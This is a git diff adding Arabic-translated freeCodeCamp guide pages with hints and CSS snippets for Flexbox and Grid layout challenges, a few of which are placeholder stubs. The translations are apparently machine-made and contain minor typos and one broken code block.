+title: Add Flex Superpowers to the Tweet Embed
+localeTitle: أضف Flex Flexpowers إلى Tweet تضمين
+---
+## أضف Flex Flexpowers إلى Tweet تضمين
+
+بناء على [التحدي السابق](https://github.com/freecodecamp/guides/tree/master/src/pages/responsive-web-design/css-flexbox/use-display-flex-to-position-two-boxes/index.md) ، سوف تحتاج إلى إضافة الخاصية إلى المحددات الصحيحة. هنا الحيلة هي تحديد محدد الحق ثم كل ما تحتاجه لإضافة _العرض: فليكس._ خاصية.
+
+سيضمن الرأس أن الصورة والاسم والمقبض ومتابعة الأزرار ستتم إعادة ترتيبها بشكل أفقي.
+
+ `header { 
+    display: flex; 
+ } 
+` 
+
+يحاذي الاسم والمقبض ليبدو كجملة واحدة.
+
+ `header .profile-name { 
+    display:flex; 
+    margin-left: 10px; 
+  } 
+` 
+
+ستؤدي إضافة الخاصية إلى زر المتابعة مع الهامش إلى توسيط الزر إلى الحجم الصحيح.
+
+ `header .follow-btn { 
+    display:flex; 
+    margin: 0 0 0 auto; 
+  } 
+` 
+
+يتم استخدام نفس الفكرة على عناصر التذييل.
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/responsive-web-design/css-flexbox/align-elements-using-the-align-items-property/index.md b/client/src/guide/arabic/certifications/responsive-web-design/css-flexbox/align-elements-using-the-align-items-property/index.md
new file mode 100644
index 0000000000..cb3cc7637f
--- /dev/null
+++ b/client/src/guide/arabic/certifications/responsive-web-design/css-flexbox/align-elements-using-the-align-items-property/index.md
@@ -0,0 +1,9 @@
+---
+title: Align Elements Using the align-items Property
+localeTitle: محاذاة العناصر باستخدام خاصية عناصر المحاذاة
+---
+## محاذاة العناصر باستخدام خاصية عناصر المحاذاة
+
+في حين أنه يشجع على تجربة الخيارات المختلفة `align-items` ، فإن الإعداد هو القيمة `center` هو الطريقة الوحيدة لتمرير هذا التحدي.
+
+أثناء اللعب بالخيارات المختلفة `strech` تدرك `strech` هي القيمة الافتراضية للممتلكات.
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/responsive-web-design/css-flexbox/align-elements-using-the-justify-content-property/index.md b/client/src/guide/arabic/certifications/responsive-web-design/css-flexbox/align-elements-using-the-justify-content-property/index.md
new file mode 100644
index 0000000000..2259510857
--- /dev/null
+++ b/client/src/guide/arabic/certifications/responsive-web-design/css-flexbox/align-elements-using-the-justify-content-property/index.md
@@ -0,0 +1,13 @@
+---
+title: Align Elements Using the justify-content Property
+localeTitle: محاذاة العناصر باستخدام خاصية justify-content
+---
+## محاذاة العناصر باستخدام خاصية justify-content
+
+كما ذكر على مستوى التحدي ، لتمرير ذلك تحتاج إلى تعيين `justify-content` إلى مركز. ومع ذلك ، فإن الهدف من التحدي هو experiemnt ونرى كيف تؤثر الخيارات المختلفة على المحتوى.
+
+`center` : سيضمن تركيز عناصر طفلك في الحاوية الرئيسية.  
+`flex-start` : سيدفع كل شيء إلى الجانب الأيسر.  
+`flex-end` : سوف يدفع كل شيء إلى الجانب الأيمن.  
+`space-between` : سوف يدفع العناصر الأولى والأخيرة إلى respectivelly اليسار واليمين وإضافة مسافة بين. إذا كان لديك عدد فردي من العناصر ، فستضيفها إلى المركز وتستمر بالضغط على اليسار واليمين حسب الطلب.  
+`space-around` : سوف تفعل مشابهة للمسافة بين وبين ولكن سيكون هناك مسافات متساوية حول العناصر بحيث لا يكون الأول والأخير مباشرة على الحافة.
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/responsive-web-design/css-flexbox/apply-the-flex-direction-property-to-create-a-column-in-the-tweet-embed/index.md b/client/src/guide/arabic/certifications/responsive-web-design/css-flexbox/apply-the-flex-direction-property-to-create-a-column-in-the-tweet-embed/index.md
new file mode 100644
index 0000000000..f4e25e2ae4
--- /dev/null
+++ b/client/src/guide/arabic/certifications/responsive-web-design/css-flexbox/apply-the-flex-direction-property-to-create-a-column-in-the-tweet-embed/index.md
@@ -0,0 +1,14 @@
+---
+title: Apply the flex-direction Property to Create a Column in the Tweet Embed
+localeTitle: قم بتطبيق الخاصية ذات الاتجاه المرن لإنشاء عمود في تغريدة Tweet
+---
+## قم بتطبيق الخاصية ذات الاتجاه المرن لإنشاء عمود في تغريدة Tweet
+
+سيؤدي تغيير اتجاه المرن من صفه الافتراضي إلى العمود عن طريق إضافة الخاصية إلى css بشكل واضح إلى إظهار المقبض لإخفاء الاسم.
+
+ `header .profile-name { 
+    display: flex; 
+    flex-direction: column; 
+    margin-left: 10px; 
+  } 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/responsive-web-design/css-flexbox/apply-the-flex-direction-property-to-create-rows-in-the-tweet-embed/index.md b/client/src/guide/arabic/certifications/responsive-web-design/css-flexbox/apply-the-flex-direction-property-to-create-rows-in-the-tweet-embed/index.md
new file mode 100644
index 0000000000..6db84dc830
--- /dev/null
+++ b/client/src/guide/arabic/certifications/responsive-web-design/css-flexbox/apply-the-flex-direction-property-to-create-rows-in-the-tweet-embed/index.md
@@ -0,0 +1,7 @@
+---
+title: Apply the flex-direction Property to Create Rows in the Tweet Embed
+localeTitle: قم بتطبيق الخاصية ذات الاتجاه المرن لإنشاء صفوف في تطبيق Tweet Tweet
+---
+## قم بتطبيق الخاصية ذات الاتجاه المرن لإنشاء صفوف في تطبيق Tweet Tweet
+
+الغرض من هذا التحدي هو التأكد من محاذاة العناصر التابعة _لرأس_ _وتذييل الصفحة_ في صف. في حين أن الاتجاه المرن الافتراضي هو الصف. من الأفضل أن تكون صريحًا حول تصميمك قدر الإمكان.
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/responsive-web-design/css-flexbox/index.md b/client/src/guide/arabic/certifications/responsive-web-design/css-flexbox/index.md
new file mode 100644
index 0000000000..be8d5bd719
--- /dev/null
+++ b/client/src/guide/arabic/certifications/responsive-web-design/css-flexbox/index.md
@@ -0,0 +1,25 @@
+---
+title: CSS Flexbox
+localeTitle: CSS Flexbox
+---
+## CSS Flexbox
+
+ستعلمك مجموعة التحديات هذه أساسيات استخدام حاويات مرنة. التحديات هي:
+
+1.  [استخدام العرض: فليكس لوضع صناديق اثنين](https://github.com/freecodecamp/guides/tree/master/src/pages/responsive-web-design/css-flexbox/use-display-flex-to-position-two-boxes/index.md) .
+2.  [أضف Flex Flexpowers إلى Tweet تضمين](https://github.com/freecodecamp/guides/tree/master/src/pages/responsive-web-design/css-flexbox/add-flex-superpowers-to-the-tweet-embed/index.md) .
+3.  [استخدم خاصية الاتجاه المرن لإجراء صف](https://github.com/freecodecamp/guides/tree/master/src/pages/responsive-web-design/css-flexbox/use-the-flex-direction-property-to-make-a-row/index.md) .
+4.  [قم بتطبيق الخاصية ذات الاتجاه المرن لإنشاء صفوف في تطبيق Tweet Tweet](https://github.com/freecodecamp/guides/tree/master/src/pages/responsive-web-design/css-flexbox/apply-the-flex-direction-property-to-create-rows-in-the-tweet-embed/index.md) .
+5.  [استخدم خاصية الاتجاه المرن لعمل عمود](https://github.com/freecodecamp/guides/tree/master/src/pages/responsive-web-design/css-flexbox/use-the-flex-direction-property-to-make-a-column/index.md) .
+6.  [قم بتطبيق الخاصية ذات الاتجاه المرن لإنشاء عمود في تغريدة Tweet](https://github.com/freecodecamp/guides/tree/master/src/pages/responsive-web-design/css-flexbox/apply-the-flex-direction-property-to-create-a-column-in-the-tweet-embed/index.md) .
+7.  [محاذاة العناصر باستخدام خاصية justify-content](https://github.com/freecodecamp/guides/tree/master/src/pages/responsive-web-design/css-flexbox/align-elements-using-the-justify-content-property/index.md) .
+8.  [استخدم خاصية theify-content في تطبيق Tweet Tweet](https://github.com/freecodecamp/guides/tree/master/src/pages/responsive-web-design/css-flexbox/use-the-justify-content-property-in-the-tweet-embed/index.md) .
+9.  [محاذاة العناصر باستخدام خاصية عناصر المحاذاة](https://github.com/freecodecamp/guides/tree/master/src/pages/responsive-web-design/css-flexbox/align-elements-using-the-align-items-property/index.md) .
+10.  [استخدم الخاصية align-items في Tweet Tweet](https://github.com/freecodecamp/guides/tree/master/src/pages/responsive-web-design/css-flexbox/use-the-align-items-property-in-the-tweet-embed/index.md) .
+11.  [استخدم خاصية flex-wrap إلى التفاف صف أو عمود](https://github.com/freecodecamp/guides/tree/master/src/pages/responsive-web-design/css-flexbox/use-the-flex-wrap-property-to-wrap-a-row-or-column/index.md) .
+12.  [استخدم خاصية الانكماش المرن لتقليص العناصر](https://github.com/freecodecamp/guides/tree/master/src/pages/responsive-web-design/css-flexbox/use-the-flex-shrink-property-to-shrink-items/index.md) .
+13.  [استخدم خاصية Flex-grow لتوسيع العناصر](https://github.com/freecodecamp/guides/tree/master/src/pages/responsive-web-design/css-flexbox/use-the-flex-grow-property-to-expand-items/index.md) .
+14.  [استخدم الخاصية الأساسية المرنة لتعيين الحجم الأولي لعنصر](https://github.com/freecodecamp/guides/tree/master/src/pages/responsive-web-design/css-flexbox/use-the-flex-basis-property-to-set-the-initial-size-of-an-item/index.md) .
+15.  [استخدم خاصية الاختزال المرن](https://github.com/freecodecamp/guides/tree/master/src/pages/responsive-web-design/css-flexbox/use-the-flex-shorthand-property/index.md) .
+16.  [استخدم خاصية الطلب لإعادة ترتيب العناصر](https://github.com/freecodecamp/guides/tree/master/src/pages/responsive-web-design/css-flexbox/use-the-order-property-to-rearrange-items/index.md) .
+17.  [استخدم خاصية self-align](https://github.com/freecodecamp/guides/tree/master/src/pages/responsive-web-design/css-flexbox/use-the-align-self-property/index.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/responsive-web-design/css-flexbox/use-display-flex-to-position-two-boxes/index.md b/client/src/guide/arabic/certifications/responsive-web-design/css-flexbox/use-display-flex-to-position-two-boxes/index.md
new file mode 100644
index 0000000000..1d004672e2
--- /dev/null
+++ b/client/src/guide/arabic/certifications/responsive-web-design/css-flexbox/use-display-flex-to-position-two-boxes/index.md
@@ -0,0 +1,16 @@
+---
+title: "Use display: flex to Position Two Boxes"
+localeTitle: "استخدم العرض
+---
+## استخدام العرض: فليكس لوضع صناديق اثنين
+
+[Flexbox](https://github.com/freecodecamp/guides/tree/master/src/pages/css/layout/flexbox/index.md) هي طريقة لتنظيم المحتوى في CSS3 مما يسمح لك بإنشاء مواقع ويب responsie.
+
+يتمثل هذا التحدي في تعيين أول خطوة من خطوات البرنامج عند استخدام Flexbox. تحتاج إلى جعل الحاوية الرئيسية مرنًا بإضافة _العرض: flex؛_ إلى قسم CSS الخاص به.
+
+مثال:
+
+ `#main-container { 
+    display: flex; 
+ } 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/responsive-web-design/css-flexbox/use-the-align-items-property-in-the-tweet-embed/index.md b/client/src/guide/arabic/certifications/responsive-web-design/css-flexbox/use-the-align-items-property-in-the-tweet-embed/index.md
new file mode 100644
index 0000000000..7bf321b981
--- /dev/null
+++ b/client/src/guide/arabic/certifications/responsive-web-design/css-flexbox/use-the-align-items-property-in-the-tweet-embed/index.md
@@ -0,0 +1,9 @@
+---
+title: Use the align-items Property in the Tweet Embed
+localeTitle: استخدم الخاصية align-items في Tweet Tweet
+---
+## استخدم الخاصية align-items في Tweet Tweet
+
+على [غرار التحدي السابق](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/css-flexbox/align-elements-using-the-align-items-property/index.md) ، ستحتاج إلى تعيين قيمة الخاصية إلى `center` على اليمين.
+
+لاحظ أنه قد يبدو وكأنه لم يتغير شيئًا ولكن مرة أخرى ، كلما زادت صراحةً مع أسلوبك في وقت مبكر ، كلما قلت الآثار الجانبية التي ستراها عندما تصبح CSS أكثر تعقيدًا.
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/responsive-web-design/css-flexbox/use-the-align-self-property/index.md b/client/src/guide/arabic/certifications/responsive-web-design/css-flexbox/use-the-align-self-property/index.md
new file mode 100644
index 0000000000..8c9470e733
--- /dev/null
+++ b/client/src/guide/arabic/certifications/responsive-web-design/css-flexbox/use-the-align-self-property/index.md
@@ -0,0 +1,9 @@
+---
+title: Use the align-self Property
+localeTitle: استخدم خاصية self-align
+---
+## استخدم خاصية self-align
+
+اتخاذ الرئيسية بعيدا عن هذا challege يجب أن يكون حقيقة أن `float` ، `clear` ، و `vertical-align` لا تعمل على العناصر المرنة. هذا هو السبب في أن لدينا خاصية Flex `align-self` التي تقبل نفس القيم مثل `align-items` وستكون لها الأسبقية على أي قيم يتم تحديدها في وقت لاحق.
+
+وهذا يعني `align-self: center;` سيعمل أثناء `align-items: center;` لن.
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/responsive-web-design/css-flexbox/use-the-flex-basis-property-to-set-the-initial-size-of-an-item/index.md b/client/src/guide/arabic/certifications/responsive-web-design/css-flexbox/use-the-flex-basis-property-to-set-the-initial-size-of-an-item/index.md
new file mode 100644
index 0000000000..fcdf9fb992
--- /dev/null
+++ b/client/src/guide/arabic/certifications/responsive-web-design/css-flexbox/use-the-flex-basis-property-to-set-the-initial-size-of-an-item/index.md
@@ -0,0 +1,20 @@
+---
+title: Use the flex-basis Property to Set the Initial Size of an Item
+localeTitle: استخدم الخاصية الأساسية المرنة لتعيين الحجم الأولي لعنصر
+---
+## استخدم الخاصية الأساسية المرنة لتعيين الحجم الأولي لعنصر
+
+يمكنك تحقيق نفس تأثير التحديتين السابقتين مع `flax-basis` . بعد تحديد قيم approati ، سترى `#box-2` أكبر من `#box-1` قبل تطبيق أي تقلص أو نمو.
+
+ `#box-1 { 
+  background-color: dodgerblue; 
+  height: 200px; 
+  flex-basis: 10em; 
+ } 
+ 
+ #box-2 { 
+  background-color: orangered; 
+  height: 200px; 
+  flex-basis: 20em; 
+ } 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/responsive-web-design/css-flexbox/use-the-flex-direction-property-to-make-a-column/index.md b/client/src/guide/arabic/certifications/responsive-web-design/css-flexbox/use-the-flex-direction-property-to-make-a-column/index.md
new file mode 100644
index 0000000000..48756d09f2
--- /dev/null
+++ b/client/src/guide/arabic/certifications/responsive-web-design/css-flexbox/use-the-flex-direction-property-to-make-a-column/index.md
@@ -0,0 +1,13 @@
+---
+title: Use the flex-direction Property to Make a Column
+localeTitle: استخدم خاصية الاتجاه المرن لعمل عمود
+---
+## استخدم خاصية الاتجاه المرن لعمل عمود
+
+لتكديس العناصر الفرعية للحاوية المرنة فوق بعضها البعض ، يمكنك تغيير _الاتجاه المرن_ بالطريقة التالية:
+
+ `#main-container { 
+    display: flex; 
+    flex-direction: column; 
+ } 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/responsive-web-design/css-flexbox/use-the-flex-direction-property-to-make-a-row/index.md b/client/src/guide/arabic/certifications/responsive-web-design/css-flexbox/use-the-flex-direction-property-to-make-a-row/index.md
new file mode 100644
index 0000000000..73aa245a72
--- /dev/null
+++ b/client/src/guide/arabic/certifications/responsive-web-design/css-flexbox/use-the-flex-direction-property-to-make-a-row/index.md
@@ -0,0 +1,16 @@
+---
+title: Use the flex-direction Property to Make a Row
+localeTitle: استخدم خاصية الاتجاه المرن لإجراء صف
+---
+## استخدم خاصية الاتجاه المرن لإجراء صف
+
+بمجرد أن يكون لديك حاوية مرنة عن طريق إضافة _الشاشة: flex؛_ إلى الحاوية الرئيسية ، يمكنك تحديد ما إذا كنت تريد تكديس الأطفال في صف عن طريق إضافة ما يلي:
+
+ `#box-container { 
+    display: flex; /* This makes the flex container */ 
+    height: 500px; 
+    flex-direction: row-reverse; /* This makes the direction be a row with reversed elements */ 
+  } 
+` 
+
+ستلاحظ كيف أن ألوان تبديل المواضع مثل الاتجاه الافتراضي للحاويات المرنة هي صفوف كما قد تكون لاحظت من [مثال tweet](https://github.com/freecodecamp/guides/tree/master/src/pages/responsive-web-design/css-flexbox/add-flex-superpowers-to-the-tweet-embed/index.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/responsive-web-design/css-flexbox/use-the-flex-grow-property-to-expand-items/index.md b/client/src/guide/arabic/certifications/responsive-web-design/css-flexbox/use-the-flex-grow-property-to-expand-items/index.md
new file mode 100644
index 0000000000..93c17ff53e
--- /dev/null
+++ b/client/src/guide/arabic/certifications/responsive-web-design/css-flexbox/use-the-flex-grow-property-to-expand-items/index.md
@@ -0,0 +1,7 @@
+---
+title: Use the flex-grow Property to Expand Items
+localeTitle: استخدم خاصية Flex-grow لتوسيع العناصر
+---
+## استخدم خاصية Flex-grow لتوسيع العناصر
+
+`flex-grow` يعمل على نحو مماثل `flex-shrink` ، وارتفاع عدد ، وكلما كان ينمو. يجب أن يكون `#box-2` أوسع في هذا excercise.
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/responsive-web-design/css-flexbox/use-the-flex-shorthand-property/index.md b/client/src/guide/arabic/certifications/responsive-web-design/css-flexbox/use-the-flex-shorthand-property/index.md
new file mode 100644
index 0000000000..f097a5516d
--- /dev/null
+++ b/client/src/guide/arabic/certifications/responsive-web-design/css-flexbox/use-the-flex-shorthand-property/index.md
@@ -0,0 +1,16 @@
+---
+title: Use the flex Shorthand Property
+localeTitle: استخدم خاصية الاختزال المرن
+---
+## استخدم خاصية الاختزال المرن
+
+بينما يمكنك تعيين خصائص `flex-grow` و `flex-shrink` و `flex-basis` فردي. إذا احتجت لرؤية قيم كل منهم ، يمكنك القيام بذلك في سطر واحد باستخدام التنسيق التالي `flex: flex-grow flex-shrink flex-basis;` .
+
+مثال:
+
+ `#box-1 { 
+    background-color: dodgerblue; 
+    flex: 2 2 150px; 
+    height: 200px; 
+  } 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/responsive-web-design/css-flexbox/use-the-flex-shrink-property-to-shrink-items/index.md b/client/src/guide/arabic/certifications/responsive-web-design/css-flexbox/use-the-flex-shrink-property-to-shrink-items/index.md
new file mode 100644
index 0000000000..4cd83aeffb
--- /dev/null
+++ b/client/src/guide/arabic/certifications/responsive-web-design/css-flexbox/use-the-flex-shrink-property-to-shrink-items/index.md
@@ -0,0 +1,7 @@
+---
+title: Use the flex-shrink Property to Shrink Items
+localeTitle: استخدم خاصية الانكماش المرن لتقليص العناصر
+---
+## استخدم خاصية الانكماش المرن لتقليص العناصر
+
+عند استخدام `flex-shrink` كلما زاد العدد كلما تقلص. بالنسبة إلى هذا التحدي ، بعد إعطاء القيم المناسبة ، يجب أن ترى `#box-1` أكبر من `#box-2` .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/responsive-web-design/css-flexbox/use-the-flex-wrap-property-to-wrap-a-row-or-column/index.md b/client/src/guide/arabic/certifications/responsive-web-design/css-flexbox/use-the-flex-wrap-property-to-wrap-a-row-or-column/index.md
new file mode 100644
index 0000000000..cd4a5d6969
--- /dev/null
+++ b/client/src/guide/arabic/certifications/responsive-web-design/css-flexbox/use-the-flex-wrap-property-to-wrap-a-row-or-column/index.md
@@ -0,0 +1,9 @@
+---
+title: Use the flex-wrap Property to Wrap a Row or Column
+localeTitle: استخدم خاصية flex-wrap إلى التفاف صف أو عمود
+---
+## استخدم خاصية flex-wrap إلى التفاف صف أو عمود
+
+سيؤدي تعيين خاصية `flex-wrap` إلى `wrap` إلى عودة الأعمدة إلى العرض المحدد لها ، وسيتم دمج الأعمدة gree و black إلى بداية الإطار.
+
+لاحظ أن تعيينه على `wrap-reverse` لن يؤدي إلى جعل المساحة الفارغة الرمادية من `#box-container` تبقى في الأسفل أثناء تغيير ترتيب الأعمدة.
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/responsive-web-design/css-flexbox/use-the-justify-content-property-in-the-tweet-embed/index.md b/client/src/guide/arabic/certifications/responsive-web-design/css-flexbox/use-the-justify-content-property-in-the-tweet-embed/index.md
new file mode 100644
index 0000000000..13a1abbf18
--- /dev/null
+++ b/client/src/guide/arabic/certifications/responsive-web-design/css-flexbox/use-the-justify-content-property-in-the-tweet-embed/index.md
@@ -0,0 +1,14 @@
+---
+title: Use the justify-content Property in the Tweet Embed
+localeTitle: استخدم خاصية theify-content في تطبيق Tweet Tweet
+---
+## استخدم خاصية theify-content في تطبيق Tweet Tweet
+
+القيم المختلفة `justify-content` من التحدي السابق هي:
+
+*   `flex-start` العناصر في بداية الحاوية المرنة.
+*   `flex-end` محاذاة العناصر إلى نهاية الحاوية المرن.
+*   `space-between` محاذاة العناصر إلى مركز المحور الرئيسي ، مع مساحة إضافية موضوعة بين العناصر.
+*   `space-around` مماثل `space-between` الفضاء ولكن يتم توزيع المساحة حول جميع العناصر.
+
+قراءة [المزيد حول `justify-content`](https://developer.mozilla.org/en-US/docs/Web/CSS/justify-content) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/responsive-web-design/css-flexbox/use-the-order-property-to-rearrange-items/index.md b/client/src/guide/arabic/certifications/responsive-web-design/css-flexbox/use-the-order-property-to-rearrange-items/index.md
new file mode 100644
index 0000000000..030f5711e3
--- /dev/null
+++ b/client/src/guide/arabic/certifications/responsive-web-design/css-flexbox/use-the-order-property-to-rearrange-items/index.md
@@ -0,0 +1,19 @@
+---
+title: Use the order Property to Rearrange Items
+localeTitle: استخدم خاصية الطلب لإعادة ترتيب العناصر
+---
+## استخدم خاصية الطلب لإعادة ترتيب العناصر
+
+قبل إجراء أي تغييرات ، انتبه إلى ترتيب الألوان. ستحصل على اللون الأزرق على اليسار والأحمر. بعد تعيين خاصية `order` ستتمكن من اختيار أي منها يجب أن يتم عرضه أولاً دون الحاجة إلى تغيير كود html.
+
+\`\` \`المغلق
+
+# مربع 1 {
+
+ `background-color: dodgerblue; 
+ order: 2; 
+ height: 200px; 
+ width: 200px; 
+` 
+
+} \`\` \`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/responsive-web-design/css-grid/add-columns-with-grid-template-columns/index.md b/client/src/guide/arabic/certifications/responsive-web-design/css-grid/add-columns-with-grid-template-columns/index.md
new file mode 100644
index 0000000000..2643a6b812
--- /dev/null
+++ b/client/src/guide/arabic/certifications/responsive-web-design/css-grid/add-columns-with-grid-template-columns/index.md
@@ -0,0 +1,23 @@
+---
+title: Add Columns with grid-template-columns
+localeTitle: إضافة أعمدة بأعمدة قالب الشبكة
+---
+## إضافة أعمدة بأعمدة قالب الشبكة
+
+في هذا التحدي ، يُطلب منك تعريف أعمدة الشبكة.
+
+### ملحوظة
+
+يمكنك تعريف الأعمدة عن طريق التصريح بما يلي في codeblock الخاص بـ CSS:
+
+ `grid-template-columns: parameters; 
+` 
+
+حيث المعلمات هي كل ما تريد أن تكون.
+
+### حل
+
+نظرًا لأن التحدي يتطلب منك إنشاء ثلاثة أعمدة يبلغ حجم كل منها 100 بكسل ، فأخبر المتابعين في ملف تعريف الارتباط .container CSS:
+
+ `grid-template-columns: 100px 100px 100px; 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/responsive-web-design/css-grid/add-gaps-faster-with-grid-gap/index.md b/client/src/guide/arabic/certifications/responsive-web-design/css-grid/add-gaps-faster-with-grid-gap/index.md
new file mode 100644
index 0000000000..f024dc82db
--- /dev/null
+++ b/client/src/guide/arabic/certifications/responsive-web-design/css-grid/add-gaps-faster-with-grid-gap/index.md
@@ -0,0 +1,9 @@
+---
+title: Add Gaps Faster with grid-gap
+localeTitle: أضف فجوات أسرع مع الفجوة الشبكية
+---
+## أضف فجوات أسرع مع الفجوة الشبكية
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/css-grid/add-gaps-faster-with-grid-gap/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/responsive-web-design/css-grid/add-rows-with-grid-template-rows/index.md b/client/src/guide/arabic/certifications/responsive-web-design/css-grid/add-rows-with-grid-template-rows/index.md
new file mode 100644
index 0000000000..081134541b
--- /dev/null
+++ b/client/src/guide/arabic/certifications/responsive-web-design/css-grid/add-rows-with-grid-template-rows/index.md
@@ -0,0 +1,18 @@
+---
+title: Add Rows with grid-template-rows
+localeTitle: إضافة صفوف مع صفوف قالب الشبكة
+---
+## إضافة صفوف مع صفوف قالب الشبكة
+
+في هذا التحدي ، أنت مطالب بتحديد صفوف شبكة CSS في `<div class="container">` .
+
+### ملحوظة
+
+يمكنك تعريف الصفوف باستخدام الخاصية CSS `grid-template-rows` .
+
+### حل
+
+نظرًا لأن التحدي يتطلب منك إنشاء صفين من `50px` لكل منهما ، `.container` بتعريف المتابعة في كتلة التعليمة البرمجية الخاصة بـ `.container` CSS:
+
+ `grid-template-rows: 50px 50px; 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/responsive-web-design/css-grid/align-all-items-horizontally-using-justify-items/index.md b/client/src/guide/arabic/certifications/responsive-web-design/css-grid/align-all-items-horizontally-using-justify-items/index.md
new file mode 100644
index 0000000000..761dc8e52f
--- /dev/null
+++ b/client/src/guide/arabic/certifications/responsive-web-design/css-grid/align-all-items-horizontally-using-justify-items/index.md
@@ -0,0 +1,9 @@
+---
+title: Align All Items Horizontally using justify-items
+localeTitle: محاذاة جميع العناصر أفقيا باستخدام تبرير البنود
+---
+## محاذاة جميع العناصر أفقيا باستخدام تبرير البنود
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/css-grid/align-all-items-horizontally-using-justify-items/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/responsive-web-design/css-grid/align-all-items-vertically-using-align-items/index.md b/client/src/guide/arabic/certifications/responsive-web-design/css-grid/align-all-items-vertically-using-align-items/index.md
new file mode 100644
index 0000000000..a181a97779
--- /dev/null
+++ b/client/src/guide/arabic/certifications/responsive-web-design/css-grid/align-all-items-vertically-using-align-items/index.md
@@ -0,0 +1,9 @@
+---
+title: Align All Items Vertically using align-items
+localeTitle: محاذاة جميع العناصر رأسيًا باستخدام عناصر المحاذاة
+---
+## محاذاة جميع العناصر رأسيًا باستخدام عناصر المحاذاة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/css-grid/align-all-items-vertically-using-align-items/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/responsive-web-design/css-grid/align-an-item-horizontally-using-justify-self/index.md b/client/src/guide/arabic/certifications/responsive-web-design/css-grid/align-an-item-horizontally-using-justify-self/index.md
new file mode 100644
index 0000000000..ac07a3f7b0
--- /dev/null
+++ b/client/src/guide/arabic/certifications/responsive-web-design/css-grid/align-an-item-horizontally-using-justify-self/index.md
@@ -0,0 +1,9 @@
+---
+title: Align an Item Horizontally using justify-self
+localeTitle: قم بمحاذاة عنصر أفقيًا باستخدام ضبط self-self
+---
+## قم بمحاذاة عنصر أفقيًا باستخدام ضبط self-self
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/css-grid/align-an-item-horizontally-using-justify-self/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/responsive-web-design/css-grid/align-an-item-vertically-using-align-self/index.md b/client/src/guide/arabic/certifications/responsive-web-design/css-grid/align-an-item-vertically-using-align-self/index.md
new file mode 100644
index 0000000000..228398757c
--- /dev/null
+++ b/client/src/guide/arabic/certifications/responsive-web-design/css-grid/align-an-item-vertically-using-align-self/index.md
@@ -0,0 +1,9 @@
+---
+title: Align an Item Vertically using align-self
+localeTitle: محاذاة عنصر عموديًا باستخدام محاذاة ذاتية
+---
+## محاذاة عنصر عموديًا باستخدام محاذاة ذاتية
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/css-grid/align-an-item-vertically-using-align-self/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/responsive-web-design/css-grid/create-a-column-gap-using-grid-column-gap/index.md b/client/src/guide/arabic/certifications/responsive-web-design/css-grid/create-a-column-gap-using-grid-column-gap/index.md
new file mode 100644
index 0000000000..514433b017
--- /dev/null
+++ b/client/src/guide/arabic/certifications/responsive-web-design/css-grid/create-a-column-gap-using-grid-column-gap/index.md
@@ -0,0 +1,23 @@
+---
+title: Create a Column Gap Using grid-column-gap
+localeTitle: إنشاء فجوة عمود باستخدام الفجوة بين عمود الشبكة
+---
+## إنشاء فجوة عمود باستخدام الفجوة بين عمود الشبكة
+
+يتطلب هذا التحدي إضافة فجوة بمقدار 20 بكسل لكل أعمدة شبكة CSS في. الحاكي.
+
+### ملحوظة
+
+لإضافة الفجوة بين أعمدة الشبكة ، نستخدم:
+
+ `grid-column-gap: parameter; 
+` 
+
+حيث المعلمة هي الفجوة المطلوبة.
+
+### حل
+
+نظرًا لأن التحدي قد أدى إلى إضافة فجوة بمقدار 20 بكسل ، يمكنك إضافة السطر التالي إلى crameblock CSS.
+
+ `grid-column-gap: 20px; 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/responsive-web-design/css-grid/create-a-row-gap-using-grid-row-gap/index.md b/client/src/guide/arabic/certifications/responsive-web-design/css-grid/create-a-row-gap-using-grid-row-gap/index.md
new file mode 100644
index 0000000000..3ec71c5852
